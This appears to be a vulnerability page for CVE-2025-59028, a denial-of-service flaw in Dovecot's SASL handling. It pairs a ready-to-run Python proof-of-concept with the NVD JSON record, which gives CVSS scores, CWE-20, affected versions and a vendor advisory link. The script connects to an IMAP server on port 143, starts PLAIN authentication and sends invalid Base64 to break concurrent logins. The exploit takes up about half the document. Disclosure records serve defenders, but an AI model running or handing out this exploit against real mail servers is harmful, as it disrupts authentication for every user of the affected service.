CVE-2025-59028

import socket import time # PoC for CVE-2025-59028: Dovecot SASL Base64 DoS # This script sends invalid Base64 data to trigger the disconnect. TARGET_IP = "192.168.1.100" TARGET_PORT = 143 # IMAP Port def send_invalid_base64(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Receive server banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Attempt to authenticate using PLAIN mechanism # Sending AUTHENTICATE command s.send(b"A001 AUTHENTICATE PLAIN\r\n") resp = s.recv(1024) print(f"[+] Server response: {resp.decode().strip()}") # Send invalid Base64 data (e.g., '!!!' is not valid Base64) # This should trigger the vulnerability payload = b"!!!" print(f"[*] Sending invalid payload: {payload}") s.send(payload + b"\r\n") # Check response or timeout try: final_resp = s.recv(1024) print(f"[+] Final response: {final_resp.decode().strip()}") except socket.timeout: print("[!] Connection timed out (possible DoS)") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_invalid_base64()

{"cve": {"id": "CVE-2025-59028", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:18.620", "lastModified": "2026-04-30T17:50:06.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When sending invalid base64 SASL data, login process is disconnected from the auth server, causing all active authentication sessions to fail. Invalid BASE64 data can be used to DoS a vulnerable server to break concurrent logins. Install fixed version or disable concurrency in login processes (heavy perfomance penalty on large deployments). No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.1.2", "matchCriteriaId": "505B0ADE-3E31-453F-BDCE-A3CEF12F2482"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}